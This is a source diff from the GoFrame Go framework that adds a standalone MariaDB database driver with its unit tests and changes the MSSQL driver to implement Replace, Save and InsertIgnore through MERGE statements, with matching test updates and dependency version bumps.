// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package mariadb
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/util/gutil"
|
||||
)
|
||||
|
||||
var (
|
||||
tableFieldsSqlByMariadb = `
|
||||
SELECT
|
||||
c.COLUMN_NAME AS 'Field',
|
||||
( CASE WHEN ch.CHECK_CLAUSE LIKE 'json_valid%%' THEN 'json' ELSE c.COLUMN_TYPE END ) AS 'Type',
|
||||
c.COLLATION_NAME AS 'Collation',
|
||||
c.IS_NULLABLE AS 'Null',
|
||||
c.COLUMN_KEY AS 'Key',
|
||||
( CASE WHEN c.COLUMN_DEFAULT = 'NULL' OR c.COLUMN_DEFAULT IS NULL THEN NULL ELSE c.COLUMN_DEFAULT END) AS 'Default',
|
||||
c.EXTRA AS 'Extra',
|
||||
c.PRIVILEGES AS 'Privileges',
|
||||
c.COLUMN_COMMENT AS 'Comment'
|
||||
FROM
|
||||
information_schema.COLUMNS AS c
|
||||
LEFT JOIN information_schema.CHECK_CONSTRAINTS AS ch ON c.TABLE_NAME = ch.TABLE_NAME
|
||||
AND c.COLUMN_NAME = ch.CONSTRAINT_NAME
|
||||
WHERE
|
||||
c.TABLE_SCHEMA = '%s'
|
||||
AND c.TABLE_NAME = '%s'
|
||||
ORDER BY c.ORDINAL_POSITION`
|
||||
)
|
||||
|
||||
func init() {
|
||||
var err error
|
||||
tableFieldsSqlByMariadb, err = gdb.FormatMultiLineSqlToSingle(tableFieldsSqlByMariadb)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
// TableFields retrieves and returns the fields' information of specified table of current
|
||||
// schema.
|
||||
func (d *Driver) TableFields(
|
||||
ctx context.Context, table string, schema ...string,
|
||||
) (fields map[string]*gdb.TableField, err error) {
|
||||
var (
|
||||
result gdb.Result
|
||||
link gdb.Link
|
||||
usedSchema = gutil.GetOrDefaultStr(d.GetSchema(), schema...)
|
||||
)
|
||||
if link, err = d.SlaveLink(usedSchema); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
result, err = d.DoSelect(
|
||||
ctx, link,
|
||||
fmt.Sprintf(tableFieldsSqlByMariadb, usedSchema, table),
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
fields = make(map[string]*gdb.TableField)
|
||||
for i, m := range result {
|
||||
fields[m["Field"].String()] = &gdb.TableField{
|
||||
Index: i,
|
||||
Name: m["Field"].String(),
|
||||
Type: m["Type"].String(),
|
||||
Null: m["Null"].Bool(),
|
||||
Key: m["Key"].String(),
|
||||
Default: m["Default"].Val(),
|
||||
Extra: m["Extra"].String(),
|
||||
Comment: m["Comment"].String(),
|
||||
}
|
||||
}
|
||||
return fields, nil
|
||||
}
|
||||
126
contrib/drivers/mariadb/mariadb_unit_init_test.go
Normal file
126
contrib/drivers/mariadb/mariadb_unit_init_test.go
Normal file
@ -0,0 +1,126 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package mariadb_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
_ "github.com/gogf/gf/contrib/drivers/mariadb/v2"
|
||||
|
||||
"github.com/gogf/gf/v2/container/garray"
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
"github.com/gogf/gf/v2/os/gtime"
|
||||
"github.com/gogf/gf/v2/test/gtest"
|
||||
)
|
||||
|
||||
const (
|
||||
TableSize = 10
|
||||
TableName = "user"
|
||||
TestSchema1 = "test1"
|
||||
TestSchema2 = "test2"
|
||||
TestDbPass = "12345678"
|
||||
CreateTime = "2018-10-24 10:00:00"
|
||||
)
|
||||
|
||||
var (
|
||||
db gdb.DB
|
||||
ctx = context.TODO()
|
||||
)
|
||||
|
||||
func init() {
|
||||
nodeDefault := gdb.ConfigNode{
|
||||
ExecTimeout: time.Second * 2,
|
||||
Link: fmt.Sprintf("mariadb:root:%s@tcp(127.0.0.1:3307)/?loc=Local&parseTime=true", TestDbPass),
|
||||
TranTimeout: time.Second * 3,
|
||||
}
|
||||
err := gdb.AddConfigNode(gdb.DefaultGroupName, nodeDefault)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
// Default db.
|
||||
if r, err := gdb.NewByGroup(); err != nil {
|
||||
gtest.Error(err)
|
||||
} else {
|
||||
db = r
|
||||
}
|
||||
schemaTemplate := "CREATE DATABASE IF NOT EXISTS `%s` CHARACTER SET UTF8"
|
||||
if _, err := db.Exec(ctx, fmt.Sprintf(schemaTemplate, TestSchema1)); err != nil {
|
||||
gtest.Error(err)
|
||||
}
|
||||
if _, err := db.Exec(ctx, fmt.Sprintf(schemaTemplate, TestSchema2)); err != nil {
|
||||
gtest.Error(err)
|
||||
}
|
||||
db = db.Schema(TestSchema1)
|
||||
}
|
||||
|
||||
func createTable(table ...string) string {
|
||||
return createTableWithDb(db, table...)
|
||||
}
|
||||
|
||||
func createInitTable(table ...string) string {
|
||||
return createInitTableWithDb(db, table...)
|
||||
}
|
||||
|
||||
func dropTable(table string) {
|
||||
dropTableWithDb(db, table)
|
||||
}
|
||||
|
||||
func createTableWithDb(db gdb.DB, table ...string) (name string) {
|
||||
if len(table) > 0 {
|
||||
name = table[0]
|
||||
} else {
|
||||
name = fmt.Sprintf(`%s_%d`, TableName, gtime.TimestampNano())
|
||||
}
|
||||
dropTableWithDb(db, name)
|
||||
if _, err := db.Exec(ctx, fmt.Sprintf(`
|
||||
CREATE TABLE %s (
|
||||
id int(10) unsigned NOT NULL AUTO_INCREMENT,
|
||||
passport varchar(45) NULL,
|
||||
password char(32) NULL,
|
||||
nickname varchar(45) NULL,
|
||||
create_time timestamp(6) NULL,
|
||||
create_date date NULL,
|
||||
PRIMARY KEY (id)
|
||||
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
|
||||
`, name,
|
||||
)); err != nil {
|
||||
gtest.Fatal(err)
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
func createInitTableWithDb(db gdb.DB, table ...string) (name string) {
|
||||
name = createTableWithDb(db, table...)
|
||||
array := garray.New(true)
|
||||
for i := 1; i <= TableSize; i++ {
|
||||
array.Append(g.Map{
|
||||
"id": i,
|
||||
"passport": fmt.Sprintf(`user_%d`, i),
|
||||
"password": fmt.Sprintf(`pass_%d`, i),
|
||||
"nickname": fmt.Sprintf(`name_%d`, i),
|
||||
"create_time": gtime.NewFromStr(CreateTime).String(),
|
||||
})
|
||||
}
|
||||
|
||||
result, err := db.Insert(ctx, name, array.Slice())
|
||||
gtest.AssertNil(err)
|
||||
|
||||
n, e := result.RowsAffected()
|
||||
gtest.Assert(e, nil)
|
||||
gtest.Assert(n, TableSize)
|
||||
return
|
||||
}
|
||||
|
||||
func dropTableWithDb(db gdb.DB, table string) {
|
||||
if _, err := db.Exec(ctx, fmt.Sprintf("DROP TABLE IF EXISTS `%s`", table)); err != nil {
|
||||
gtest.Error(err)
|
||||
}
|
||||
}
|
||||
1421
contrib/drivers/mariadb/mariadb_unit_model_test.go
Normal file
1421
contrib/drivers/mariadb/mariadb_unit_model_test.go
Normal file
File diff suppressed because it is too large
Load Diff
@ -3,7 +3,7 @@ module github.com/gogf/gf/contrib/drivers/mssql/v2
|
||||
go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/gogf/gf/v2 v2.9.6
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
github.com/microsoft/go-mssqldb v1.7.1
|
||||
)
|
||||
|
||||
|
||||
@ -4,11 +4,7 @@
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
// Package mssql implements gdb.Driver, which supports operations for database MSSql.
|
||||
//
|
||||
// Note:
|
||||
// 1. It does not support Replace features.
|
||||
// 2. It does not support LastInsertId.
|
||||
// Package mssql implements gdb.Driver, which supports operations for MSSQL.
|
||||
package mssql
|
||||
|
||||
import (
|
||||
|
||||
@ -1,3 +1,9 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package mssql
|
||||
|
||||
import (
|
||||
@ -87,12 +93,16 @@ func (d *Driver) DoExec(ctx context.Context, link gdb.Link, sqlStr string, args
|
||||
IsTransaction: link.IsTransaction(),
|
||||
})
|
||||
if err != nil {
|
||||
return &InsertResult{lastInsertId: 0, rowsAffected: 0, err: err}, err
|
||||
return &Result{lastInsertId: 0, rowsAffected: 0, err: err}, err
|
||||
}
|
||||
stdSqlResult := out.Records
|
||||
if len(stdSqlResult) == 0 {
|
||||
err = gerror.WrapCode(gcode.CodeDbOperationError, gerror.New("affectcount is zero"), `sql.Result.RowsAffected failed`)
|
||||
return &InsertResult{lastInsertId: 0, rowsAffected: 0, err: err}, err
|
||||
err = gerror.WrapCode(
|
||||
gcode.CodeDbOperationError,
|
||||
gerror.New("affected count is zero"),
|
||||
`sql.Result.RowsAffected failed`,
|
||||
)
|
||||
return &Result{lastInsertId: 0, rowsAffected: 0, err: err}, err
|
||||
}
|
||||
// For batch insert, OUTPUT clause returns one row per inserted row.
|
||||
// So the rowsAffected should be the count of returned records.
|
||||
@ -100,7 +110,7 @@ func (d *Driver) DoExec(ctx context.Context, link gdb.Link, sqlStr string, args
|
||||
// get last_insert_id from the first returned row
|
||||
lastInsertId := stdSqlResult[0].GMap().GetVar(lastInsertIdFieldAlias).Int64()
|
||||
|
||||
return &InsertResult{lastInsertId: lastInsertId, rowsAffected: rowsAffected}, err
|
||||
return &Result{lastInsertId: lastInsertId, rowsAffected: rowsAffected}, err
|
||||
}
|
||||
|
||||
// GetTableNameFromSql get table name from sql statement
|
||||
@ -111,17 +121,19 @@ func (d *Driver) DoExec(ctx context.Context, link gdb.Link, sqlStr string, args
|
||||
// "user as u".
|
||||
func (d *Driver) GetTableNameFromSql(sqlStr string) (table string) {
|
||||
// INSERT INTO "ip_to_id"("ip") OUTPUT 1 as AffectCount,INSERTED.id as ID VALUES(?)
|
||||
leftChars, rightChars := d.GetChars()
|
||||
trimStr := leftChars + rightChars + "[] "
|
||||
pattern := "INTO(.+?)\\("
|
||||
regCompile := regexp.MustCompile(pattern)
|
||||
tableInfo := regCompile.FindStringSubmatch(sqlStr)
|
||||
var (
|
||||
leftChars, rightChars = d.GetChars()
|
||||
trimStr = leftChars + rightChars + "[] "
|
||||
pattern = "INTO(.+?)\\("
|
||||
regCompile = regexp.MustCompile(pattern)
|
||||
tableInfo = regCompile.FindStringSubmatch(sqlStr)
|
||||
)
|
||||
// get the first one. after the first it may be content of the value, it's not table name.
|
||||
table = tableInfo[1]
|
||||
table = strings.Trim(table, " ")
|
||||
if strings.Contains(table, ".") {
|
||||
tmpAry := strings.Split(table, ".")
|
||||
// the last one is tablename
|
||||
// the last one is table name
|
||||
table = tmpAry[len(tmpAry)-1]
|
||||
} else if strings.Contains(table, "as") || strings.Contains(table, " ") {
|
||||
tmpAry := strings.Split(table, "as")
|
||||
@ -151,21 +163,6 @@ func (l *txLinkMssql) IsOnMaster() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
// InsertResult instance of sql.Result
|
||||
type InsertResult struct {
|
||||
lastInsertId int64
|
||||
rowsAffected int64
|
||||
err error
|
||||
}
|
||||
|
||||
func (r *InsertResult) LastInsertId() (int64, error) {
|
||||
return r.lastInsertId, r.err
|
||||
}
|
||||
|
||||
func (r *InsertResult) RowsAffected() (int64, error) {
|
||||
return r.rowsAffected, r.err
|
||||
}
|
||||
|
||||
// GetInsertOutputSql gen get last_insert_id code
|
||||
func (d *Driver) GetInsertOutputSql(ctx context.Context, table string) string {
|
||||
fds, errFd := d.GetDB().TableFields(ctx, table)
|
||||
|
||||
@ -21,45 +21,94 @@ import (
|
||||
|
||||
// DoInsert inserts or updates data for given table.
|
||||
// The list parameter must contain at least one record, which was previously validated.
|
||||
func (d *Driver) DoInsert(ctx context.Context, link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption) (result sql.Result, err error) {
|
||||
func (d *Driver) DoInsert(
|
||||
ctx context.Context, link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption,
|
||||
) (result sql.Result, err error) {
|
||||
switch option.InsertOption {
|
||||
case gdb.InsertOptionSave:
|
||||
return d.doSave(ctx, link, table, list, option)
|
||||
|
||||
case gdb.InsertOptionReplace:
|
||||
return nil, gerror.NewCode(
|
||||
gcode.CodeNotSupported,
|
||||
`Replace operation is not supported by mssql driver`,
|
||||
)
|
||||
// MSSQL does not support REPLACE INTO syntax, use SAVE instead.
|
||||
return d.doSave(ctx, link, table, list, option)
|
||||
|
||||
case gdb.InsertOptionIgnore:
|
||||
// MSSQL does not support INSERT IGNORE syntax, use MERGE instead.
|
||||
return d.doInsertIgnore(ctx, link, table, list, option)
|
||||
|
||||
default:
|
||||
return d.Core.DoInsert(ctx, link, table, list, option)
|
||||
}
|
||||
}
|
||||
|
||||
// doSave support upsert for SQL server
|
||||
// doSave support upsert for MSSQL
|
||||
func (d *Driver) doSave(ctx context.Context,
|
||||
link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption,
|
||||
) (result sql.Result, err error) {
|
||||
if len(option.OnConflict) == 0 {
|
||||
return nil, gerror.NewCode(
|
||||
gcode.CodeMissingParameter, `Please specify conflict columns`,
|
||||
)
|
||||
return d.doMergeInsert(ctx, link, table, list, option, true)
|
||||
}
|
||||
|
||||
// doInsertIgnore implements INSERT IGNORE operation using MERGE statement for MSSQL database.
|
||||
// It only inserts records when there's no conflict on primary/unique keys.
|
||||
func (d *Driver) doInsertIgnore(ctx context.Context,
|
||||
link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption,
|
||||
) (result sql.Result, err error) {
|
||||
return d.doMergeInsert(ctx, link, table, list, option, false)
|
||||
}
|
||||
|
||||
// doMergeInsert implements MERGE-based insert operations for MSSQL database.
|
||||
// When withUpdate is true, it performs upsert (insert or update).
|
||||
// When withUpdate is false, it performs insert ignore (insert only when no conflict).
|
||||
func (d *Driver) doMergeInsert(
|
||||
ctx context.Context,
|
||||
link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption, withUpdate bool,
|
||||
) (result sql.Result, err error) {
|
||||
// If OnConflict is not specified, automatically get the primary key of the table
|
||||
conflictKeys := option.OnConflict
|
||||
if len(conflictKeys) == 0 {
|
||||
primaryKeys, err := d.Core.GetPrimaryKeys(ctx, table)
|
||||
if err != nil {
|
||||
return nil, gerror.WrapCode(
|
||||
gcode.CodeInternalError,
|
||||
err,
|
||||
`failed to get primary keys for table`,
|
||||
)
|
||||
}
|
||||
foundPrimaryKey := false
|
||||
for _, primaryKey := range primaryKeys {
|
||||
for dataKey := range list[0] {
|
||||
if strings.EqualFold(dataKey, primaryKey) {
|
||||
foundPrimaryKey = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if foundPrimaryKey {
|
||||
break
|
||||
}
|
||||
}
|
||||
if !foundPrimaryKey {
|
||||
return nil, gerror.NewCodef(
|
||||
gcode.CodeMissingParameter,
|
||||
`Replace/Save/InsertIgnore operation requires conflict detection: `+
|
||||
`either specify OnConflict() columns or ensure table '%s' has a primary key in the data`,
|
||||
table,
|
||||
)
|
||||
}
|
||||
// TODO consider composite primary keys.
|
||||
conflictKeys = primaryKeys
|
||||
}
|
||||
|
||||
var (
|
||||
one = list[0]
|
||||
oneLen = len(one)
|
||||
charL, charR = d.GetChars()
|
||||
|
||||
conflictKeys = option.OnConflict
|
||||
one = list[0]
|
||||
oneLen = len(one)
|
||||
charL, charR = d.GetChars()
|
||||
conflictKeySet = gset.New(false)
|
||||
|
||||
// queryHolders: Handle data with Holder that need to be upsert
|
||||
// queryValues: Handle data that need to be upsert
|
||||
// queryHolders: Handle data with Holder that need to be merged
|
||||
// queryValues: Handle data that need to be merged
|
||||
// insertKeys: Handle valid keys that need to be inserted
|
||||
// insertValues: Handle values that need to be inserted
|
||||
// updateValues: Handle values that need to be updated
|
||||
// updateValues: Handle values that need to be updated (only when withUpdate=true)
|
||||
queryHolders = make([]string, oneLen)
|
||||
queryValues = make([]any, oneLen)
|
||||
insertKeys = make([]string, oneLen)
|
||||
@ -79,9 +128,9 @@ func (d *Driver) doSave(ctx context.Context,
|
||||
insertKeys[index] = charL + key + charR
|
||||
insertValues[index] = "T2." + charL + key + charR
|
||||
|
||||
// filter conflict keys in updateValues.
|
||||
// And the key is not a soft created field.
|
||||
if !(conflictKeySet.Contains(key) || d.Core.IsSoftCreatedFieldName(key)) {
|
||||
// Build updateValues only when withUpdate is true
|
||||
// Filter conflict keys and soft created fields from updateValues
|
||||
if withUpdate && !(conflictKeySet.Contains(key) || d.Core.IsSoftCreatedFieldName(key)) {
|
||||
updateValues = append(
|
||||
updateValues,
|
||||
fmt.Sprintf(`T1.%s = T2.%s`, charL+key+charR, charL+key+charR),
|
||||
@ -90,8 +139,10 @@ func (d *Driver) doSave(ctx context.Context,
|
||||
index++
|
||||
}
|
||||
|
||||
batchResult := new(gdb.SqlResult)
|
||||
sqlStr := parseSqlForUpsert(table, queryHolders, insertKeys, insertValues, updateValues, conflictKeys)
|
||||
var (
|
||||
batchResult = new(gdb.SqlResult)
|
||||
sqlStr = parseSqlForMerge(table, queryHolders, insertKeys, insertValues, updateValues, conflictKeys)
|
||||
)
|
||||
r, err := d.DoExec(ctx, link, sqlStr, queryValues...)
|
||||
if err != nil {
|
||||
return r, err
|
||||
@ -105,41 +156,48 @@ func (d *Driver) doSave(ctx context.Context,
|
||||
return batchResult, nil
|
||||
}
|
||||
|
||||
// parseSqlForUpsert
|
||||
// MERGE INTO {{table}} T1
|
||||
// USING ( VALUES( {{queryHolders}}) T2 ({{insertKeyStr}})
|
||||
// ON (T1.{{duplicateKey}} = T2.{{duplicateKey}} AND ...)
|
||||
// WHEN NOT MATCHED THEN
|
||||
// INSERT {{insertKeys}} VALUES {{insertValues}}
|
||||
// WHEN MATCHED THEN
|
||||
// UPDATE SET {{updateValues}}
|
||||
func parseSqlForUpsert(table string,
|
||||
// parseSqlForMerge generates MERGE statement for MSSQL database.
|
||||
// When updateValues is empty, it only inserts (INSERT IGNORE behavior).
|
||||
// When updateValues is provided, it performs upsert (INSERT or UPDATE).
|
||||
// Examples:
|
||||
// - INSERT IGNORE: MERGE INTO table T1 USING (...) T2 ON (...) WHEN NOT MATCHED THEN INSERT(...) VALUES (...)
|
||||
// - UPSERT: MERGE INTO table T1 USING (...) T2 ON (...) WHEN NOT MATCHED THEN INSERT(...) VALUES (...) WHEN MATCHED THEN UPDATE SET ...
|
||||
func parseSqlForMerge(table string,
|
||||
queryHolders, insertKeys, insertValues, updateValues, duplicateKey []string,
|
||||
) (sqlStr string) {
|
||||
var (
|
||||
queryHolderStr = strings.Join(queryHolders, ",")
|
||||
insertKeyStr = strings.Join(insertKeys, ",")
|
||||
insertValueStr = strings.Join(insertValues, ",")
|
||||
updateValueStr = strings.Join(updateValues, ",")
|
||||
duplicateKeyStr string
|
||||
pattern = gstr.Trim(`MERGE INTO %s T1 USING (VALUES(%s)) T2 (%s) ON (%s) WHEN NOT MATCHED THEN INSERT(%s) VALUES (%s) WHEN MATCHED THEN UPDATE SET %s;`)
|
||||
)
|
||||
|
||||
// Build ON condition
|
||||
for index, keys := range duplicateKey {
|
||||
if index != 0 {
|
||||
duplicateKeyStr += " AND "
|
||||
}
|
||||
duplicateTmp := fmt.Sprintf("T1.%s = T2.%s", keys, keys)
|
||||
duplicateKeyStr += duplicateTmp
|
||||
duplicateKeyStr += fmt.Sprintf("T1.%s = T2.%s", keys, keys)
|
||||
}
|
||||
|
||||
return fmt.Sprintf(pattern,
|
||||
table,
|
||||
queryHolderStr,
|
||||
insertKeyStr,
|
||||
duplicateKeyStr,
|
||||
insertKeyStr,
|
||||
insertValueStr,
|
||||
updateValueStr,
|
||||
// Build SQL based on whether UPDATE is needed
|
||||
pattern := gstr.Trim(
|
||||
`MERGE INTO %s T1 USING (VALUES(%s)) T2 (%s) ON (%s) WHEN NOT MATCHED THEN INSERT(%s) VALUES (%s)`,
|
||||
)
|
||||
if len(updateValues) > 0 {
|
||||
// Upsert: INSERT or UPDATE
|
||||
pattern += gstr.Trim(` WHEN MATCHED THEN UPDATE SET %s`)
|
||||
return fmt.Sprintf(
|
||||
pattern+";",
|
||||
table,
|
||||
queryHolderStr,
|
||||
insertKeyStr,
|
||||
duplicateKeyStr,
|
||||
insertKeyStr,
|
||||
insertValueStr,
|
||||
strings.Join(updateValues, ","),
|
||||
)
|
||||
}
|
||||
// Insert Ignore: INSERT only
|
||||
return fmt.Sprintf(pattern+";", table, queryHolderStr, insertKeyStr, duplicateKeyStr, insertKeyStr, insertValueStr)
|
||||
}
|
||||
|
||||
22
contrib/drivers/mssql/mssql_result.go
Normal file
22
contrib/drivers/mssql/mssql_result.go
Normal file
@ -0,0 +1,22 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package mssql
|
||||
|
||||
// Result instance of sql.Result
|
||||
type Result struct {
|
||||
lastInsertId int64
|
||||
rowsAffected int64
|
||||
err error
|
||||
}
|
||||
|
||||
func (r *Result) LastInsertId() (int64, error) {
|
||||
return r.lastInsertId, r.err
|
||||
}
|
||||
|
||||
func (r *Result) RowsAffected() (int64, error) {
|
||||
return r.rowsAffected, r.err
|
||||
}
|
||||
@ -138,15 +138,17 @@ func TestDoInsert(t *testing.T) {
|
||||
|
||||
i := 10
|
||||
data := g.Map{
|
||||
"id": i,
|
||||
// "id": i,
|
||||
"passport": fmt.Sprintf(`t%d`, i),
|
||||
"password": fmt.Sprintf(`p%d`, i),
|
||||
"nickname": fmt.Sprintf(`T%d`, i),
|
||||
"create_time": gtime.Now(),
|
||||
}
|
||||
// Save without OnConflict should fail (missing conflict columns)
|
||||
_, err := db.Save(context.Background(), "t_user", data, 10)
|
||||
gtest.AssertNE(err, nil)
|
||||
|
||||
// Replace should fail because primary key 'id' is not in the data
|
||||
_, err = db.Replace(context.Background(), "t_user", data, 10)
|
||||
gtest.AssertNE(err, nil)
|
||||
})
|
||||
|
||||
@ -117,6 +117,48 @@ func Test_Model_Insert(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_InsertIgnore(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
// db.SetDebug(true)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"id": 1,
|
||||
"passport": fmt.Sprintf(`t%d`, 777),
|
||||
"password": fmt.Sprintf(`p%d`, 777),
|
||||
"nickname": fmt.Sprintf(`T%d`, 777),
|
||||
"create_time": gtime.Now(),
|
||||
}
|
||||
_, err := db.Model(table).Data(data).InsertIgnore()
|
||||
t.AssertNil(err)
|
||||
|
||||
one, err := db.Model(table).WherePri(1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["PASSPORT"].String(), "user_1")
|
||||
|
||||
count, err := db.Model(table).Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, TableSize)
|
||||
})
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"passport": fmt.Sprintf(`t%d`, 777),
|
||||
"password": fmt.Sprintf(`p%d`, 777),
|
||||
"nickname": fmt.Sprintf(`T%d`, 777),
|
||||
"create_time": gtime.Now(),
|
||||
}
|
||||
_, err := db.Model(table).Data(data).InsertIgnore()
|
||||
t.AssertNE(err, nil)
|
||||
|
||||
count, err := db.Model(table).Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, TableSize)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_Insert_KeyFieldNameMapping(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
@ -2658,14 +2700,53 @@ func Test_Model_Replace(t *testing.T) {
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
_, err := db.Model(table).Data(g.Map{
|
||||
// Insert initial record
|
||||
result, err := db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"passport": "t1",
|
||||
"password": "pass1",
|
||||
"nickname": "T1",
|
||||
"create_time": "2018-10-24 10:00:00",
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
// Replace with new data (should update existing record using MERGE)
|
||||
result, err = db.Model(table).Data(g.Map{
|
||||
"id": 1,
|
||||
"passport": "t11",
|
||||
"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "T11",
|
||||
"create_time": "2018-10-24 10:00:00",
|
||||
}).Replace()
|
||||
t.Assert(err, "Replace operation is not supported by mssql driver")
|
||||
t.AssertNil(err)
|
||||
n, _ = result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
// Verify the data was replaced
|
||||
one, err := db.Model(table).WherePri(1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["PASSPORT"].String(), "t11")
|
||||
t.Assert(one["NICKNAME"].String(), "T11")
|
||||
|
||||
// Replace with non-existing record (should insert new record)
|
||||
result, err = db.Model(table).Data(g.Map{
|
||||
"id": 2,
|
||||
"passport": "t222",
|
||||
"password": "pass2",
|
||||
"nickname": "T222",
|
||||
"create_time": "2018-10-24 11:00:00",
|
||||
}).Replace()
|
||||
t.AssertNil(err)
|
||||
n, _ = result.RowsAffected()
|
||||
t.Assert(n, 1) // MERGE reports: 1 for insert
|
||||
|
||||
// Verify the new record was inserted
|
||||
one, err = db.Model(table).WherePri(2).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["PASSPORT"].String(), "t222")
|
||||
t.Assert(one["NICKNAME"].String(), "T222")
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@ go 1.23.0
|
||||
|
||||
require (
|
||||
github.com/go-sql-driver/mysql v1.7.1
|
||||
github.com/gogf/gf/v2 v2.9.6
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
)
|
||||
|
||||
require (
|
||||
|
||||
@ -27,7 +27,7 @@ func init() {
|
||||
var (
|
||||
err error
|
||||
driverObj = New()
|
||||
driverNames = g.SliceStr{"mysql", "mariadb", "tidb"}
|
||||
driverNames = g.SliceStr{"mysql", "mariadb", "tidb"} // TODO remove mariadb and tidb in future versions.
|
||||
)
|
||||
for _, driverName := range driverNames {
|
||||
if err = gdb.Register(driverName, driverObj); err != nil {
|
||||
|
||||
@ -15,6 +15,9 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
// tableFieldsSqlByMariadb is the query statement for retrieving table fields' information in MariaDB.
|
||||
// Deprecated: Use package `contrib/drivers/mariadb` instead.
|
||||
// TODO remove in next version.
|
||||
tableFieldsSqlByMariadb = `
|
||||
SELECT
|
||||
c.COLUMN_NAME AS 'Field',
|
||||
@ -68,6 +71,8 @@ func (d *Driver) TableFields(ctx context.Context, table string, schema ...string
|
||||
}
|
||||
dbType := d.GetConfig().Type
|
||||
switch dbType {
|
||||
// Deprecated: Use package `contrib/drivers/mariadb` instead.
|
||||
// TODO remove in next version.
|
||||
case "mariadb":
|
||||
tableFieldsSql = fmt.Sprintf(tableFieldsSqlByMariadb, usedSchema, table)
|
||||
default:
|
||||
|
||||
@ -1,236 +0,0 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package mysql_test
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
"github.com/gogf/gf/v2/os/gtime"
|
||||
"github.com/gogf/gf/v2/test/gtest"
|
||||
)
|
||||
|
||||
// Test_Model_Group_WithJoin tests GROUP BY with JOIN queries
|
||||
func Test_Model_Group_WithJoin(t *testing.T) {
|
||||
var (
|
||||
table1 = gtime.TimestampNanoStr() + "_user"
|
||||
table2 = gtime.TimestampNanoStr() + "_user_detail"
|
||||
)
|
||||
createInitTable(table1)
|
||||
defer dropTable(table1)
|
||||
createInitTable(table2)
|
||||
defer dropTable(table2)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test basic GROUP BY with JOIN - unqualified column should be auto-prefixed
|
||||
// This prevents "Column 'id' in group statement is ambiguous" error
|
||||
r, err := db.Model(table1+" u").
|
||||
Fields("u.id", "u.nickname", "COUNT(*) as count").
|
||||
LeftJoin(table2+" ud", "u.id = ud.id").
|
||||
Where("u.id", g.Slice{1, 2}).
|
||||
Group("id").
|
||||
Order("u.id asc").All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(r), 2)
|
||||
t.Assert(r[0]["id"], "1")
|
||||
t.Assert(r[1]["id"], "2")
